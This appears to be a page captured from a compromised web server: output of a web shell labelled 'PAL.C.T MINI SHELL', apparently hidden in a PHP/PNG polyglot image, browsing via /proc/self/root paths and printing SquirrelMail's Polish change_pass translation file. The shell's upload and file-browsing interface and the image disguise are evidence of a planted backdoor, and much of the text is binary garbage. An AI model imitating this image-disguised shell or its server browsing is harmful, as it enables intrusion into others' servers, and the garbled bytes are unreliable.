php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/pl_PL/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/pl_PL/LC_MESSAGES/change_pass.po

# $Id: change_pass.po 13719 2009-05-18 12:02:52Z jervfors $
# POLISH change_pass plugin translation.
# Copyright (c) 2003-2009 The SquirrelMail Project Team
# Sebastian Turzyński <buzz@zamek.gda.pl>, 2003.
#
msgid ""
msgstr ""
"Project-Id-Version: change_pass\n"
"POT-Creation-Date: 2003-09-12 12:12-0600\n"
"PO-Revision-Date: 2003-09-30 13:20+0100\n"
"Last-Translator: Sebastian Turzynski <buzz@zamek.gda.pl>\n"
"Language-Team: Polish <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: options.php:36 setup.php:18
msgid "Change Password"
msgstr "Zmień hasło"

#: options.php:77
msgid "Closing Connection"
msgstr "Zamykanie połączenia"

#: options.php:137
msgid "Connecting to Password Server"
msgstr "Łączenie z serwerem haseł"

#: options.php:141
msgid "ERROR:"
msgstr "Błąd:"

#: options.php:52
msgid "New Password"
msgstr "Nowe hasło"

#: options.php:51
msgid "Old Password"
msgstr "Stare hasło"

#: options.php:173 setup.php:35
msgid "Password changed successfully."
msgstr "Hasło zostało zmienione pomyślnie."

#: options.php:64
msgid "Submit"
msgstr "Potwierdź"

#: setup.php:20
msgid ""
"This connects to your local Password Server to change your email password."
msgstr "Łączy z lokalnym serwerem haseł aby zmienić hasło Twojego konta pocztowego."

#: options.php:53
msgid "Verify New Password"
msgstr "Potwierdź nowe hasło"

#: options.php:112
msgid "You must also type in your new password in the verify box."
msgstr "Musisz także wpisać nowe hasło w polu potwierdzenia."

#: options.php:109
msgid "You must type in a new password."
msgstr "Musisz wpisać nowe hasło."

#: options.php:106
msgid "You must type in your old password."
msgstr "Musisz wpisać stare hasło."

#: options.php:115
msgid "Your new password doesn't match the verify password."
msgstr "Twoje nowe hasło nie odpowiada hasłu wpisanemu w polu potwierdzenia hasła."

#: options.php:118
msgid "Your old password is not correct."
msgstr "Twoje stare hasło nie jest prawidłowe."
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`